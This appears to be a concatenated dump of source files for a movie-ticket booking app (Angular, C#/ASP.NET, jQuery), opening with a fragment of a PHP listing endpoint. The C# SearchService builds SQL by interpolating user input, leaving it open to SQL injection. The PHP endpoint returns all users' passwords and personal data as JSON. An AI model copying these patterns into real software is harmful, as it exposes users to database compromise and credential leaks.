// On instancie les produits
$personephysique = new Personnephysique($db);
// On récupère les données
$stmt = $personephysique->lire();
// On vérifie si on a au moins 1 personne
if($stmt->rowCount() > 0){
// On initialise un tableau associatif
$tableauPersonnesP = [];
$tableauPersonnesP['personnephysique'] = [];
// On parcourt les produits
while($row = $stmt->fetch(PDO::FETCH_ASSOC)){
extract($row);
$personnep = [
"ID_PERSONNEP" => $ID_PERSONNEP,
"PER_NOM" => $PER_NOM,
"PER_PRENOM" => $PER_PRENOM,
"PER_EMAIL" => $PER_EMAIL,
"PER_MOTDEPASSE" => $PER_MOTDEPASSE,
"PER_DATEDENAISSANCE" => $PER_DATEDENAISSANCE,
"PER_TELEPHONE" => $PER_TELEPHONE,
"PER_CODEPOSTAL" => $PER_CODEPOSTAL,
"PER_LOCALITE" => $PER_LOCALITE,
"PER_ADRESSE" => $PER_ADRESSE,
"PER_CODENVMDP" => $PER_CODENVMDP,
];
$tableauPersonnesP['personnephysique'][] = $personnep;
}
// On envoie le code réponse 200 OK
http_response_code(200);
// On encode en json et on envoie
echo json_encode($tableauPersonnesP);
}else {
echo json_encode(["message" => "Cette table est vide"]);
}
}else{
// On gère l'erreur
http_response_code(405);
echo json_encode(["message" => "La méthode n'est pas autorisée"]);
}
| ccf4841a046e8c8652c27097bb49f6677091f5a4 | [
"JavaScript",
"PHP"
] | 30 | PHP | gonzalo-esig/TentativeJavascript | a7ea5bcdbdda7625a549e1fab3c5ca217f463dbc | 805711bf7ab11c128345f47c6fbaa0b87445f03f |
refs/heads/main | <file_sep>import { HttpClient, HttpHeaders } from '@angular/common/http';
import { Injectable } from '@angular/core';
import { FormGroup } from '@angular/forms';
import { Observable } from 'rxjs';
import { BookingDetail } from '../Models/BookingDetails';
import { LikeDetail } from '../Models/LikeDetail';
import { Movie } from '../Models/Movie';
import { UserDetail } from '../Models/UserDetails';
@Injectable({
providedIn: 'root'
})
export class HttpService {
route: string = 'http://localhost:5000/api';
constructor(private httpService: HttpClient) { }
public getMovies = () => {
return this.httpService.get(this.route+"/movie");
}
public getEvents = () => {
return this.httpService.get(this.route+"/events");
}
public getMoviesByName = (name : string) => {
return this.httpService.get(this.route+"/Search/GetShowsByName/"+name);
}
public getMovieById = (id : number) => {
return this.httpService.get(this.route+"/movie/GetMovieById/"+id);
}
public getMovieHallsByMovieId = () => {
return this.httpService.get(this.route);
}
public getShowsTimeTableByMovieId = (movieId : number) => {
return this.httpService.get(this.route+"/booking/GetHallForMovieProfiles/"+movieId);
}
public getBookedSeatsByMovieId = (route : string) => {
return this.httpService.get(route);
}
savebooking(bookingdetail : BookingDetail) {
console.log("in save booking service method",bookingdetail);
return this.httpService.post(this.route+"/Booking" , bookingdetail);
}
userSignup( body : Object)
{
console.log("in userSignup method ",body);
return this.httpService.post(this.route+"/User/Register" , body);
}
userLogin(body : Object)
{
console.log("in userSignup method ",body);
return this.httpService.post(this.route+"/User/Login",body);
}
userProfile()
{
var tokenHeader = new HttpHeaders({'Authorization' : 'Bearer '+localStorage.getItem('token')});
return this.httpService.get(this.route+"/User/GetUserProfile" , {headers : tokenHeader});
}
addMovie(movie: Movie) {
// movie.language = parseInt(""+movie.language);
console.log("movie is ",movie);
return this.httpService.post(this.route+"/Movie/SaveMovie", movie );
}
addLike(likeDetail : LikeDetail)
{
return this.httpService.post(this.route+"/User/AddUserLike",likeDetail);
}
}
<file_sep>
console.log("script loaded");
// Add onclick eventlistner to Clear Form Button
document.getElementById("reset_form").addEventListener('click',function (){
document.getElementById("contact_form").reset();
document.getElementById("name_error").classList.add("d-none");
document.getElementById("error_required_values").classList.add("d-none");
document.getElementById("org_error").classList.add("d-none");
document.getElementById("email_pattern_error").classList.add("d-none");
document.getElementById("email_empty_error").classList.add("d-none");
});
// Add alert for Gender:
document.getElementById("gender_male").addEventListener('change',function(){
alert("Hello Sir");
});
document.getElementById("gender_female").addEventListener('change',function(){
alert("Hello Lady");
});
// Function to change promo code
function changepromo_code(){
var el = document.getElementById("state_Selection");
var val = el.options[el.selectedIndex].text;
var promo = document.getElementById("promo_id");
promo.value = val+" - PROMO";
}
function checkform(){
var form = document.forms["contactus_form"];
var name = form["fname"];
var email = form["femail"];
var org_name = form["forg_name"];
let x1 = checkname(name.value,org_name.value);
let x2 = checkemail(email.value);
if(x1 && x2)
{
document.getElementById("error_required_values").classList.add("d-none");
return true;
}
else
{
document.getElementById("error_required_values").classList.remove("d-none");
}
return false;
}
// Check that the Name and Organization name are not empty
function checkname(name, org_name)
{
let x1= true;
let x2 = true;
if(name.length == 0)
{
document.getElementById("name_error").classList.remove("d-none");
x1 = false;
}
if(org_name.length == 0)
{
document.getElementById("org_error").classList.remove("d-none");
x2=false;
}
if(x1)
{
document.getElementById("name_error").classList.add("d-none");
}
if(x2)
{
document.getElementById("org_error").classList.add("d-none");
}
if(x1 && x2)
return true;
return false;
}
// Check Email is not empty and it follows the desired pattern
function checkemail(email){
if(email.length == 0)
{
document.getElementById("email_empty_error").classList.remove("d-none");
return false;
}
else
{
document.getElementById("email_empty_error").classList.add("d-none");
var pattern = /^[a-zA-Z0-9._]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9]+)+$/;
if(!email.match(pattern))
{
document.getElementById("email_pattern_error").classList.remove("d-none");
return false;
}
else
{
document.getElementById("email_pattern_error").classList.add("d-none");
}
}
return true;
}
// Add active class to the current Option selected from Nav Menu:
var list = document.getElementById("navbar-list");
var items = list.getElementsByClassName("list-group-item");
for(let i=0;i<items.length;i++)
{
items[i].addEventListener("click",function(){
var current = list.getElementsByClassName("active");
current[0].classList.remove("active");
this.classList.add("active");
var section = document.getElementsByTagName("section");
for(let k=0;k<section.length;k++)
{
section[k].classList.add("d-none");
}
section[i].classList.remove("d-none");
});
}<file_sep>console.log("script loaded");
$("#reset_form").click(function(){
document.getElementById("contact_form").reset();
$(".error-class").addClass("d-none");
});
$('#my-button').click(function(){
$('#my-file').click();
});
$("#my-file").change(function(){
let value = $("#my-file").val().split('\\');
// console.log(value);
$("#file_name").text(""+value[2]);
});
$("#reset_form").click(function(){
$("#file_name").text("No File Choosen");
});
// Only Numeric Values allowed in Telephone Number
$("#number_id").on('input',function(){
$(this).val($(this).val().replace(/[^0-9]/g,''));
});
// Add alert for Gender:
$("#gender_male").change(function(){
alert("Hello Sir");
});
$("#gender_female").change(function(){
alert("Hello Lady");
});
// Prevent default form submission by using Enter
$(document).on("keydown",":input:not(textarea)",function(event){
return event.key!= "Enter";
})
var isvalid = false;
// Function to change promo code
function changepromo_code(){
var el = document.getElementById("state_Selection");
var val = el.options[el.selectedIndex].text;
var promo = document.getElementById("promo_id");
promo.value = val+" - PROMO";
}
function common_validation(){
var form = document.forms["contactus_form"];
var name = form["fname"];
var email = form["femail"];
let x1 = checkname(name.value);
let x2 = checkemail(email.value);
if(x1 && x2)
{
return true;
}
return false;
}
// Function for the contact us page form validation
function checkform(){
var form = document.forms["contactus_form"];
var org_name = form["forg_name"];
var website = form["website_name"];
let x3 = checkOrganization(org_name.value);
let x4 = checkwebsite(website.value);
if(common_validation() && x3 && x4)
{
$("#error_required_values").addClass("d-none");
document.getElementById("contact_form").reset();
alert("Your form is successfully Submitted.");
return true;
}
else
{
$("#error_required_values").removeClass("d-none");
}
return false;
}
// Function for the Careers us page form validation
function callalert(){
// console.log(isvalid+" callalert called");
if(isvalid)
{
document.getElementById("contact_form").reset();
alert("this is the alert message");
return true;
}
return false;
}
function checkform1(){
if(common_validation())
{
console.log("Inside common validation ");
$("#error_required_values").addClass("d-none");
isvalid = true;
return;
}
else
{
$("#error_required_values").removeClass("d-none");
}
isvalid = false;
}
// Check that the Name is not empty
function checkname(name)
{
if(name.length == 0)
{
$("#name_error").removeClass("d-none");
return false;
}
$("#name_error").addClass("d-none");
console.log("At the end of name");
return true;
}
// Check that the Organization Name is not empty
function checkOrganization(org_name){
if(org_name.length == 0)
{
$("#org_error").removeClass("d-none");
return false;
}
$("#org_error").addClass("d-none");
console.log("At the end of check organization");
return true;
}
// Check Email is not empty and it follows the desired pattern
function checkemail(email){
if(email.length == 0)
{
$("#email_empty_error").removeClass("d-none");
$("#email_pattern_error").addClass("d-none");
return false;
}
else
{
$("#email_empty_error").addClass("d-none");
var pattern = /^[a-zA-Z0-9._]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9]+)+$/;
if(!email.match(pattern))
{
$("#email_pattern_error").removeClass("d-none");
return false;
}
else
{
$("#email_pattern_error").addClass("d-none");
}
}
console.log("At the end of check email");
return true;
}
// Website Pattern Validator
function checkwebsite(website){
if(website.length==0)
return true;
var pattern = /^((https?|ftp|smtp):\/\/)?(www.)?[a-z0-9]+\.[a-z]+(\/[a-zA-Z0-9#]+\/?)*$/;
if(!website.match(pattern))
{
$("#website_pattern_error").removeClass("d-none");
return false;
}
else
{
$("#website_pattern_error").addClass("d-none");
}
return true;
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Text;
namespace Models.CoreModels
{
public class UserDetailProfile
{
[Key]
public string Id { get; set; }
public string FullName { get; set; }
public string Email { get; set; }
public string UserName { get; set; }
public string MobileNumber { get; set; }
public bool IsAdmin { get; set; }
public List<LikesDetail> Likes { get; set; }
}
}
<file_sep>import { LikeDetail } from "./LikeDetail";
export interface UserDetail
{
id : string;
fullName : string;
email : string;
userName : string;
mobileNumber : string;
isAdmin : boolean;
likes : Array<LikeDetail>;
}<file_sep>using System;
using System.ComponentModel;
using System.Collections.Generic;
using System.Text;
namespace Models.Enums
{
public enum Language
{
[Description("Other")]
Other = 0,
[Description("Hindi")]
Hindi,
[Description("English")]
Engilsh,
[Description("Tamil")]
Tamil,
[Description("Telgu")]
Telgu,
}
public enum Gender
{
[Description("Other")]
Other = 0,
[Description("Male")]
Male = 1,
[Description("Female")]
Female = 2,
}
public enum Role
{
[Description("Other")]
Other,
[Description("Actor")]
Actor,
[Description("Actress")]
Actress,
[Description("Supporting Actor")]
SupportingActor,
[Description("Supporting Actress")]
SupportingActress,
[Description("Producer")]
Producer,
[Description("Director")]
Director,
}
public enum Gener
{
[Description("Other")]
Other,
[Description("Action")]
Action,
[Description("Comedy")]
Comedy,
[Description("Drama")]
Drama,
[Description("Fantasy")]
Fantasy,
[Description("Horror")]
Horror,
[Description("Mystery")]
Mystery,
[Description("Romance")]
Romance,
[Description("Thriller")]
Thriller
}
public enum MovieType
{
[Description("Other")]
Other,
[Description("2D")]
_2D,
[Description("3D")]
_3D,
[Description("IMAX")]
IMAX,
[Description("IMAX 3D")]
IMAX3D,
}
public enum CertificateType
{
[Description("Other")]
Other,
[Description("All Age Groups")]
U,
[Description("Above 12 yrs")]
UA,
[Description("Above 18 yrs")]
A,
}
public enum SeatType
{
[Description("Other")]
Other,
[Description("First Row Seat")]
FrontRow,
[Description("Middle Row Seat")]
MiddleRow,
[Description("Last Row Seat")]
LastRow,
}
}
// Access the Description of the Enum
//public string SlotType
//{
// get
// {
// return MyExtensions.GetDescription(this.TypeOfSlot);
// }
//}<file_sep>using Models.CoreModels;
using Models.DataModels;
using Models.Enums;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace Services.Interfaces
{
public interface IMovieService
{
List<MovieProfile> GetMovies();
List<Theatre> GetTheatres();
List<MovieProfile> GetMoviesByLanguage(Language language);
List<MovieProfile> GetMoviesByGener(Gener gener);
List<MovieProfile> GetMoviesByType(MovieType format);
MovieProfile GetMovieById(int id);
List<Cast> GetCastsInMovie(int movieId);
int GetLikesForMovie(int movieId);
object AddMovie(MovieProfile movie);
void AddShow(ShowRecord show);
void AddCast(int movieId, List<Cast> casts);
void DeleteMovie(MovieProfile movie);
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Text;
namespace Models.CoreModels
{
public class UserBookingDetails
{
public List<int> SeatNumbers { get; set; }
public ShowRecord Show { get; set; }
public string UserId { get; set; }
public int AmountPaid { get; set; }
public bool IsBooked { get; set; }
}
}
<file_sep>using Models.CoreModels;
using Models.DataModels;
using Services;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Identity;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Options;
using Microsoft.IdentityModel.Tokens;
using Models;
using Models.Authentication;
using System;
using System.Collections.Generic;
using System.IdentityModel.Tokens.Jwt;
using System.Linq;
using System.Security.Claims;
using System.Text;
using System.Threading.Tasks;
using Services.Interfaces;
namespace BookMyShow.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class UserController : Controller
{
private readonly ILogger<UserController> _logger;
private readonly IUserService _service;
private UserManager<ApplicationUser> _userManager;
private SignInManager<ApplicationUser> _signInManager;
private readonly ApplicationSettings _appSettings;
private readonly AutoMapper.IMapper _mapper;
public UserController(AutoMapper.IMapper mapper, SignInManager<ApplicationUser> signInManager, UserManager<ApplicationUser> userManager, ILogger<UserController> logger, IUserService service, IOptions<ApplicationSettings> appSettings)
{
_mapper = mapper;
_service = service;
_logger = logger;
_userManager = userManager;
_signInManager = signInManager;
_appSettings = appSettings.Value;
}
[HttpPost]
[Route("Register")]
// : /api/User/Register
public async Task<Object> PostApplicationUser(User user)
{
var applicationUser = _mapper.Map<ApplicationUser>(user);
try
{
var result = await _userManager.CreateAsync(applicationUser, user.Password);
return Ok(result);
}
catch (Exception ex)
{
return BadRequest(ex);
}
}
[HttpPost]
[Route("Login")]
public async Task<Object> Login(UserLoginProfile user)
{
var selecteduser = await _userManager.FindByNameAsync(user.UserName);
if(selecteduser != null && await _userManager.CheckPasswordAsync(selecteduser, user.Password))
{
var tokenDescriptor = new SecurityTokenDescriptor
{
Subject = new ClaimsIdentity(new Claim[] {
new Claim("UserID", selecteduser.Id.ToString())
}),
Expires = DateTime.UtcNow.AddDays(1),
SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(Encoding.UTF8.GetBytes(_appSettings.JWT_SECRET)), SecurityAlgorithms.HmacSha256Signature)
};
var tokenHandler = new JwtSecurityTokenHandler();
var securityToken = tokenHandler.CreateToken(tokenDescriptor);
var token = tokenHandler.WriteToken(securityToken);
return Ok(new { token });
}
else
{
return BadRequest(new { message = "Username or Password is incorrect" });
}
}
[Route("GetUserProfile")]
[HttpGet]
[Authorize]
public async Task<UserDetailProfile> GetUserProfile()
{
string userId = User.Claims.First(c => c.Type == "UserID").Value;
var applicationuser = await _userManager.FindByIdAsync(userId);
var userDetailProfile = _mapper.Map<UserDetailProfile>(applicationuser);
userDetailProfile.Likes = _service.GetLikesOfUser(applicationuser.Id);
return userDetailProfile;
}
[Route("AddUserLike")]
[HttpPost]
public bool AddUserLike([FromBody]LikesDetail like)
{
this._service.AddLike(like);
return true;
}
//[HttpGet("{email}")]
//public void GetUserByEmail(string email)
//{
// _service.GetUserByEmail(email);
//}
//[HttpPost]
//public void AddUser(User user)
//{
// _service.AddUser(user);
//}
//[HttpPost]
//public void DeleteUser(User user)
//{
// _service.DeleteUser(user);
//}
//[HttpPost]
//public void UpdateUser(User user)
//{
// _service.UpdateUser(user);
//}
}
}
<file_sep>import { HttpErrorResponse } from '@angular/common/http';
import { Component, Input, OnInit, SimpleChanges } from '@angular/core';
import { FormArray, FormBuilder, FormGroup, Validators,FormControl } from '@angular/forms';
import { ActivatedRoute, Router } from '@angular/router';
import { ToastrService } from 'ngx-toastr';
import { Subscription } from 'rxjs';
import { BookingDetail } from '../Models/BookingDetails';
import { SeatType } from '../Models/Enum';
import { SeatDetail } from '../Models/SeatDetails';
import { showhallprofile } from '../Models/showhallprofile';
import { UserDetail } from '../Models/UserDetails';
import { AuthenticationService } from '../services/authentication.service';
import { HttpService } from '../services/http.service';
@Component({
selector: 'app-booking-form',
templateUrl: './booking-form.component.html',
styles: [
]
})
export class BookingFormComponent implements OnInit {
@Input() currentshowprofile! : showhallprofile;
bookingForm!: FormGroup;
userDetails!: UserDetail;
UserSubscription! : Subscription;
SampleSeats: Array<string> = ['1', '2', '3', '4','5','6','7','8','9'];
// This will store both the booked as well as non booked seats
selectedSeats : Array<SeatDetail> = [];
totalAmount : number = 0;
totalTickets : number = 0;
finalSeatsValues : Array<number> = [];
SeatType = SeatType;
public frontSeats : Array<SeatDetail> = [];
public middleSeats : Array<SeatDetail> = [];
public lastSeats : Array<SeatDetail> = [];
constructor(private formBuilder : FormBuilder, private auth : AuthenticationService,private toaster : ToastrService, private httpservice : HttpService, public route: ActivatedRoute, private router : Router)
{
// this.currentshowprofile = history.state;
}
ngOnInit(): void {
// console.log(this.currentshowprofile);
// this.getAvailableSeats();
// Authentication service to get the Current Logged In User
this.UserSubscription = this.auth.currentUser.subscribe(user => {
this.userDetails = user;
console.log("the user is ",this.userDetails);
});
}
ngOnChanges(changes: SimpleChanges): void
{
this.currentshowprofile = (changes.currentshowprofile.currentValue);
console.log("in booking form method : ",this.currentshowprofile)
this.getAvailableSeats();
}
ngOnDestroy()
{
this.UserSubscription.unsubscribe();
}
getAvailableSeats()
{
let totalSeats = this.currentshowprofile?.movieHall?.numberOfSeats;
var bookedSeats = this.currentshowprofile?.totalSeatsBooked;
let frontRowlastseat = this.currentshowprofile?.movieHall?.frontRowLastSeat;
let middleRowlastseat = this.currentshowprofile?.movieHall?.middleRowLastSeat;
let cnt = 0;
for(let i=1 ; i <= totalSeats ; i++)
{
var currseat : SeatDetail = {
seatNumber : i,
isBooked : false,
seatType : SeatType.Other
};
if(this.checkIfSeatIsBooked(i,bookedSeats) != -1)
{
cnt++;
currseat.isBooked = true;
}
if(i<=frontRowlastseat)
{
currseat.seatType = SeatType.FrontRow;
this.frontSeats.push(currseat);
}
else if(i<=middleRowlastseat)
{
currseat.seatType = SeatType.MiddleRow;
this.middleSeats.push(currseat);
}
else
{
currseat.seatType = SeatType.LastRow;
this.lastSeats.push(currseat);
}
}
console.log("front are : ",this.frontSeats," middle seats are ",this.middleSeats," and last seats are : ",this.lastSeats," cnt is ",cnt);
}
checkIfSeatIsBooked(seatnumber : number, bookedSeats : Array<SeatDetail>)
{
let index : number = 0;
let finalIndexValue : number = -1;
bookedSeats.forEach((seat : SeatDetail) => {
if(seat.seatNumber == seatnumber)
{
finalIndexValue = index;
}
index++;
});
return finalIndexValue;
}
bookTickets()
{
if( this.userDetails == undefined || !this.IsNotNullandUndefined(this.userDetails))
{
this.toaster.warning("Login to Book Tickets", "Booking Unsuccessfull");
this.ngOnDestroy();
document.getElementById('closeModal')?.click();
this.router.navigateByUrl('/login');
return ;
}
this.getSelectedSeatsValue();
var bookingDetail : BookingDetail = {
seatNumbers : this.finalSeatsValues,
userId : this.userDetails?.id,
amountPaid : this.totalAmount,
showId : this.currentshowprofile?.showRecord?.id
};
// bookingDetail.seatNumber = this.selectedSeatsValues;
console.log("booking form value in component - ",bookingDetail);
this.httpservice.savebooking(bookingDetail)
.subscribe((result) =>
{
console.log("contact saved ",result);
this.toaster.success("Ticket Booked", "Booking Successful");
document.getElementById('closeModal')?.click();
this.router.navigateByUrl('/home');
},
(error : HttpErrorResponse) =>
{
console.error("the error is ",error);
}
);
}
IsNotNullandUndefined(val : any)
{
if(val == null || val == undefined)
{
return false;
}
return true;
}
// Toggle the Seat
ToggleSeat(seatDetail : SeatDetail) {
let index : number = this.checkIfSeatIsBooked(seatDetail.seatNumber,this.selectedSeats);
let price : number = this.getAmountofSeat(seatDetail);
if(index != -1)
{
this.totalAmount = this.totalAmount - price;
this.selectedSeats.splice(index,1);
}
else
{
this.totalAmount += price;
this.selectedSeats.push(seatDetail);
}
this.totalTickets = this.selectedSeats.length;
}
// Get the Number of Seats which are Booked in the end
getSelectedSeatsValue() {
this.selectedSeats.forEach(seat => {
this.finalSeatsValues.push(seat.seatNumber);
});
}
// Get the Amount of the Seat based on the type of the Seat
getAmountofSeat(seatDetail : SeatDetail) : number
{
let price : number = 0;
switch(seatDetail.seatType)
{
case SeatType.FrontRow : price = this.currentshowprofile?.movieHall?.frontRowSeatsPrice;
break;
case SeatType.MiddleRow : price = this.currentshowprofile?.movieHall?.middleRowSeatsPrice;
break;
case SeatType.LastRow : price = this.currentshowprofile?.movieHall?.lastRowSeatsPrice;
break;
default : price = 0;
}
return price;
}
}
<file_sep>export interface MovieHall{
id : number;
name : string;
address : string;
category : string;
frontRowSeatsPrice : number;
middleRowSeatsPrice : number;
lastRowSeatsPrice : number;
frontRowLastSeat : number,
lastRowLastSeat : number,
middleRowLastSeat : number,
numberOfSeats : number;
}<file_sep>using Models.DataModels;
using System;
using System.Collections.Generic;
using System.Text;
namespace Models.CoreModels
{
public class ShowAllDetails
{
public List<SeatDetail> TotalSeatsBooked { get; set; }
public ShowRecord ShowRecord { get; set; }
public Theatre MovieHall { get; set; }
}
}
<file_sep>
export enum Language
{
Other = 0,
Hindi,
Engilsh,
Tamil,
Telgu,
}
export const LanguageLabel = new Map<number,string>([
[Language.Other,"Other"],
[Language.Hindi,"Hindi"],
[Language.Engilsh,"Engilsh"],
[Language.Tamil,"Tamil"],
[Language.Telgu,"Telgu"]
]);
export enum Gender
{
Other = 0,
Male ,
Female ,
}
export enum Role
{
Other,
Actor,
Actress,
SupportingActor,
SupportingActress,
Producer,
Director,
}
export const RoleLabel = new Map<Role,string>([
[Role.Other,"Other"],
[Role.Actor,"Actor"],
[Role.Actress,"Actress"],
[Role.SupportingActor,"Supporting Actor"],
[Role.SupportingActress,"Supporting Actress"],
[Role.Producer,"Producer"],
[Role.Director,"Director"],
]);
export enum Gener
{
Other,
Action,
Comedy,
Drama,
Fantasy,
Horror,
Mystery,
Romance,
Thriller
}
export const GenresLabel = new Map<Gener,string>([
[Gener.Other,"Other"],
[Gener.Action,"Action"],
[Gener.Comedy,"Comedy"],
[Gener.Drama,"Drama"],
[Gener.Fantasy,"Fantasy"],
[Gener.Horror,"Horror"],
[Gener.Mystery,"Mystery"],
[Gener.Romance,"Romance"],
[Gener.Thriller,"Thriller"],
]);
export enum MovieType
{
Other,
_2D,
_3D,
IMAX,
IMAX3D,
}
export const MovieTypeLabel = new Map<number,string>([
[MovieType.Other,"Other"],
[MovieType._2D,"2D"],
[MovieType._3D,"3D"],
[MovieType.IMAX,"IMAX"],
[MovieType.IMAX3D,"IMAX 3d"]
]);
export enum CertificateType
{
Other,
U,
UA,
A,
}
export enum SeatType
{
Other,
FrontRow,
MiddleRow,
LastRow,
}
<file_sep>using Models.CoreModels;
using Models.DataModels;
using PetaPoco;
using Services.Interfaces;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Services.Implementations
{
public class SearchService : ISearchService
{
private readonly AutoMapper.IMapper _mapper;
public Database Db { get; set; }
public SearchService(AutoMapper.IMapper mapper, Database db)
{
this.Db = db;
_mapper = mapper;
}
public List<MovieProfile> GetMovieByName(string name)
{
var command = $"select * from Movies where LOWER(Name) Like LOWER('{name}%')";
var searchedResult = this.Db.Query<Movie>(command).ToList();
var selectedMovies = _mapper.Map<List<MovieProfile>>(searchedResult);
return selectedMovies;
}
public List<MovieProfile> GetMovieByTags(string tag)
{
var command = "select * from Movies where Tags Like '%@name%'";
var searchedResult = this.Db.Query<MovieProfile>(command).ToList();
return searchedResult;
}
}
}
<file_sep>using System;
using Item;
namespace ElectronicItem{
// Fan Class
public class Fan : Electronic{
// Constructor
public Fan(DeviceType Item,int Id,int ItemId) : base(Item,Id,ItemId)
{
}
}
}<file_sep>import { Component, OnInit } from '@angular/core';
import { ActivatedRoute, NavigationExtras, Router } from '@angular/router';
import { BookingDetail } from '../Models/BookingDetails';
import { Movie } from '../Models/Movie';
import { MovieHall } from '../Models/MovieHall';
import { ShowsTimeTable } from '../Models/ShowTimeTable';
import { HttpService } from '../services/http.service';
import { showhallprofile } from '../Models/showhallprofile';
import { LanguageLabel, GenresLabel, MovieTypeLabel } from '../Models/Enum';
@Component({
selector: 'app-theatre',
templateUrl: './theatre.component.html',
styles: [
]
})
export class TheatreComponent implements OnInit {
public movie! : Movie ;
public id : number = 0;
public movieHallProfiles! : showhallprofile[];
public allMovieHallProfiles : showhallprofile[] = [];
LanguageLabel = LanguageLabel;
GenresLabel = GenresLabel;
MovieTypeLabel = MovieTypeLabel;
leastPriceArray : Array<number> = [0,100,200,300,500];
highestPriceArray : Array<number> = [100,200,300,500,Number.POSITIVE_INFINITY];
startTimings : Array<string> = ["12:00","12:00 PM","4:00 PM","8:00 PM"];
startTimeNumb : Array<number> = [0.00,12.0,16.0,20.00];
endTimeNumb : Array<number> = [11.59,15.59,19.59,23.59];
endTimings : Array<string> = ["11:59 AM","3.59 PM","7.59 PM","11.59 PM"];
timeArray : Array<string> = ["Morning","AfterNoon","Evening","Night"];
priceFilters : Array<number> = [];
timimgsFilters : Array<number> = [];
currentDiv : number = -1;
showselected! : showhallprofile;
constructor(private httpservice : HttpService, private route : ActivatedRoute, private router: Router) { }
ngOnInit(): void {
this.id = this.route.snapshot.params.id;
this.getMovieById();
this.getShowsHallsProfile();
}
getMovieById() {
this.httpservice.getMovieById(this.id)
.subscribe( (res) => {
this.movie = res as Movie;
console.log(this.movie);
},
(err) => {
console.log("error in showdetails ",err);
}
);
}
getShowsHallsProfile()
{
var movieId = this.id;
console.log("movieId is ",movieId);
this.httpservice.getShowsTimeTableByMovieId(movieId)
.subscribe( (res) => {
this.movieHallProfiles = res as showhallprofile[];
this.allMovieHallProfiles = this.movieHallProfiles;
this.movieHallProfiles = this.movieHallProfiles.filter(x => x.totalSeatsBooked.length != x.movieHall.numberOfSeats);
console.log("the show time table is : ",this.movieHallProfiles);
},
(err) => {
console.log("error in showdetails ",err);
}
);
}
navigate(index : number) {
let navigationExtras: NavigationExtras = {
queryParams: {
moviehallprofile : this.movieHallProfiles[index]
}
}
this.router.navigate(['bookingform'], navigationExtras);
}
AddPriceFilters(val :number)
{
if(this.priceFilters.includes(val))
{
const index = this.priceFilters.indexOf(val);
if(index > -1)
{
this.priceFilters.splice(index,1);
}
}
else
{
this.priceFilters.push(val);
}
this.filterMovieHallProfiles();
}
filterMovieHallProfiles()
{
this.movieHallProfiles = this.allMovieHallProfiles;
if(this.priceFilters.length>0)
{
this.movieHallProfiles = this.movieHallProfiles.filter(x => {
let flag = false;
this.priceFilters.forEach((priceIndex) => {
if(x.movieHall.frontRowSeatsPrice >= this.leastPriceArray[priceIndex] && x.movieHall.lastRowSeatsPrice <= this.highestPriceArray[priceIndex])
{
flag=true;
}
});
return flag;
});
// console.log("movieprofiles are : ",this.movieHallProfiles);
}
if(this.timimgsFilters.length > 0)
{
this.movieHallProfiles = this.movieHallProfiles.filter(x => {
let flag = false;
this.timimgsFilters.forEach((timingIndex) => {
let currTime = parseFloat(""+x.showRecord.showTiming.hours) + (x.showRecord.showTiming.minutes)/100.00
if(currTime >= this.startTimeNumb[timingIndex] && currTime <= this.endTimeNumb[timingIndex])
{
flag=true;
}
});
return flag;
});
}
}
AddTimingsFilters(val :number)
{
if(this.timimgsFilters.includes(val))
{
const index = this.timimgsFilters.indexOf(val);
if(index > -1)
{
this.timimgsFilters.splice(index,1);
}
}
else
{
this.timimgsFilters.push(val);
}
this.filterMovieHallProfiles();
}
passShowProfile(index : number)
{
this.showselected = this.movieHallProfiles[index];
// this.showselected = this.movieHallProfiles[index];
}
}
<file_sep>using Services.Interfaces;
using System;
using System.Collections.Generic;
using System.Text;
using PetaPoco;
using Models.CoreModels;
using System.Linq;
using Models.DataModels;
namespace Services.Implementations
{
public class UserService : IUserService
{
private readonly AutoMapper.IMapper _mapper;
public Database Db { get; set; }
public UserService(AutoMapper.IMapper mapper, Database db)
{
this.Db = db;
_mapper = mapper;
}
public List<TicketProfile> GetBookingsByUserId(int userId)
{
var selectedTickets = this.Db.Query<Ticket>("Select * from BookingDetails where UserId=@userId ", new { userId }).ToList();
List<TicketProfile> ticketProfilesList = new List<TicketProfile>();
return null;
}
public List<LikesDetail> GetLikesOfUser(string userId)
{
var likes = this.Db.Query<LikesDetail>("Select * from Likes where UserId=@userId ", new { userId }).ToList();
return likes;
}
public void AddLike(LikesDetail like)
{
this.Db.Insert("Likes", "Id", like);
}
//public ApplicationUser GetUserByEmail(string email)
//{
// using (IDatabase dbconnection = Connection)
// {
// var command = "select * from Users where Email=@email";
// ApplicationUser user = _db.Query<ApplicationUser>(command, new { Email = email }).FirstOrDefault();
// return user;
// }
//}
//public void UpdateUser(ApplicationUser user)
//{
// using (IDatabase dbConnection = Connection)
// {
// _db.Update(user);
// }
//}
//public void DeleteUser(ApplicationUser user)
//{
// using (IDatabase dbConnection = Connection)
// {
// _db.Delete(user);
// }
//}
//ApplicationUser IAppDb.UpdateUser(ApplicationUser user)
//{
// throw new NotImplementedException();
//}
}
}
<file_sep>import { HttpErrorResponse } from '@angular/common/http';
import { Component, OnInit } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { HttpService } from '../services/http.service';
import { ToastrService } from 'ngx-toastr';
import { Router } from '@angular/router';
@Component({
selector: 'app-signup',
templateUrl: './signup.component.html',
styles: [
]
})
export class SignupComponent implements OnInit {
signupForm! : FormGroup ;
validationMessages: any;
constructor(private formgroup : FormBuilder, private router : Router , private httpservice : HttpService, private toaster : ToastrService)
{ }
ngOnInit(): void {
this.buildForm();
this.errorMessages();
}
errorMessages(){
this.validationMessages = {
UserName: [
{ type: 'required', message: 'Name is required.' },
{ type: 'minlength', message:'Enter atleast 4 Characters' }
],
FullName: [
{ type: 'required', message: 'Name is required.' },
{ type: 'minlength', message:'Enter atleast 4 Characters' }
],
Email: [
{ type: 'required', message: 'email is required.' },
{ type: 'pattern', message: 'Please enter a valid email' },
],
MobileNumber:[
{ type: 'required', message:'Mobile Number is required' },
{ type: 'minlength', message:'Enter atleast 10 digits' },
{ type: 'pattern', message: 'Only Numbers Allowed' }
],
lalndline:[
